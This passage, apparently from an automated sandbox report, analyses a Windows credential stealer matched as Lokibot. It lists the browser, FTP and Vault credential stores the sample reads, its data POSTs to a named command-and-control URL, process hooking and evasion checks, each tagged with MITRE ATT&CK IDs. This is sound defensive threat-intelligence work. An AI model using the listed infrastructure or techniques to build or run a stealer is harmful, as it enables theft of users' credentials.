[%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b]- [targetUID: 00000000-00002664]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\".exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles.ini\"\n \".exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\secmod.db\"\n \".exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\cert8.db\"\n \".exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\mozilla\\firefox\\profiles\\g4h7miqt.default\\key3.db\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$31","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$32","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\".exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b\"\n \".exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\b52c16\\66e7f2.lck\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /_errorpages/china/five/fre.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"WUDFHost.bin\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"SmtpServer\" (Indicator: \"SmtpServer\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"^`.Tg\"\n Heuristic match: \"ckav.ru\"\n Heuristic match: \"PATHEXT=.Ch\"\n Heuristic match: \"uckav.ru\"\n Heuristic match: \"Fuckav.ru\"\n Pattern match: \"http://www.ibsensoftware.com/\"\n Pattern match: \"www.digicert.com1402\"\n Pattern match: \"china.fengpower.buzz/_errorpages/china/five/fre.php\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$33","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \".exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\".exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000040000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"NaEs\" (Indicator: \"aes\"; Source: \"00000000-00002664.00000000.66253.00150000.00000040.mdmp, 00000000-00002664.00000001.68174.00150000.00000040.mdmp, 00000000-00002664.00000002.70094.00150000.00000040.mdmp, 00000000-00002664.00000003.77520.00150000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"CreateDCA\" (Indicator: \"CreateDC\"; File: \"WUDFHost.bin\")\n Found reference to API \"CreateDCA\" (Indicator: \"CreateDC\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"WUDFHost.bin\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"111073441299,2676,3114,,FindNextFileW,kernel32.dll,\"252:04:49.609\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00002664.00000002.70094.02620000.00000004.mdmp\")\n Found reference to API \"12308420541987,2676,3114,,FindNextFileW,kernel32.dll,\"253:07:45.593\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00002664.00000003.77520.02620000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")\n Found reference to API \"LdrGetProcedureAddress\" (Indicator: \"LdrGetProcedureAddress\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempFileNameW\" (Indicator: \"GetTempFileName\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetTempFileNameW\" (Indicator: \"GetTempFileName\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyNameTextW\" (Indicator: \"GetKeyNameText\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetKeyNameTextW\" (Indicator: \"GetKeyNameText\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"WUDFHost.bin\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"form_password_control\" (Indicator: \"password\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")\n Found string \"password_value\" (Indicator: \"password\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")\n Found string \"password-check\" (Indicator: \"password\"; Source: \"00000000-00002664.00000001.68174.02620000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$36","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"$37","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":3,"id":"string-197","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to file managers","description":"$38","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\".exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\WSHTCPIP.DLL\" (UID: 00000000-00002664)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$39","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00002664.00000001.68174.00150000.00000040.mdmp\n 00000000-00002664.00000002.70094.00150000.00000040.mdmp\n 00000000-00002664.00000003.77520.00150000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"WUDFHost.bin\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"WUDFHost.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"WUDFHost.bin\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"WUDFHost.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b\" - Location: [%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b]- [targetUID: 00000000-00002664]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"WUDFHost.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".text\n .reloc with unusual entropies 7.66911677603\n 0.928084357501","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO HTTP Request to a *.buzz domain\" (SID: 2032991, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least three reputation engines","description":"14/90 reputation engines marked \"http://ckav.ru\" as malicious (15% detection rate)\n 5/90 reputation engines marked \"http://china.fengpower.buzz\" as malicious (5% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"38/70 Antivirus vendors marked sample as malicious (54% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"SizeofResource@KERNEL32.DLL at 00000000-00002664-48137-59-0040368E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$3b","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\".exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"9.50.11.69\"\n \"82.67.62.16\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.21.95.46 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/4.08 (Charon; Inferno)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\B52C16\\66E7F2.lck\" for deletion\n \".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\".exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\B52C16\\66E7F2.lck\" with delete access\n \".exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\e145369d0457f8a2abe4dcd88e412e73_733c94c5-cebb-4f98-a75f-22a797d1d50b\" with delete access\n \".exe\" opened \"C:\\WUDFHost.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetFileAttributesW\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetModuleHandleA\n TerminateProcess\n GetTickCount\n LoadLibraryA\n GetStartupInfoA\n GetStartupInfoW\n GetProcAddress\n GetTempFileNameW\n FindFirstFileA\n CreateFileA\n GetCommandLineW\n GetModuleHandleW\n Sleep\n VirtualAlloc","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\".exe\" wrote bytes \"fae6ef76e1a6f4762e71f476ee29f47685e2ef766da0f47626e4ef76d16df476003df276804bf27600000000ad37d8758b2dd875b641d87500000000\" to virtual address \"0x74271000\" (part of module \"WSHTCPIP.DLL\")\n \".exe\" wrote bytes \"e739f076e1a6f4762e71f476ee29f47685e2ef766da0f4769064f3763ad5fa7626e4ef76d16df476003df276804bf27600000000ad37d8758b2dd875b641d87500000000\" to virtual address \"0x747B1000\" (part of module \"WSHIP6.DLL\")\n \".exe\" wrote bytes \"d5d99f7630c69f76e0c29f7642c69f7610c69f76acdc9f76a0df9f7636da9f7687f19f76000000009177d476c090d4767f6fd4761ffad476def4d476f282d476857dd47600000000\" to virtual address \"0x6CDF1000\" (part of module \"MSIMG32.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Reads Antivirus engine related registry keys","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\COMODOGROUP\\ICEDRAGON\\SETUP\")","origin":"Registry Access","mitre_attack_id":"T1518.001","relevance":8,"id":"registry-32","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"38/70 Antivirus vendors marked sample as malicious (54% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - Lokibot","description":"YARA signature Malware.Lokibot matched on process \"00000000-00002664\"","origin":"YARA Signature","relevance":10,"id":"yara-10","sources":[{"report_type":"sandbox","report_id":"64fee3eab669dace250c3903"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Reads FTP client related registry keys","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\LINASFTP\\SITE MANAGER\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\FLASHPEAK\\BLAZEFTP\\SETTINGS\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\GHISLER\\TOTAL COMMANDER\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\FAR\\PLUGINS\\FTP\\HOSTS\")\n \".exe\" (Path: 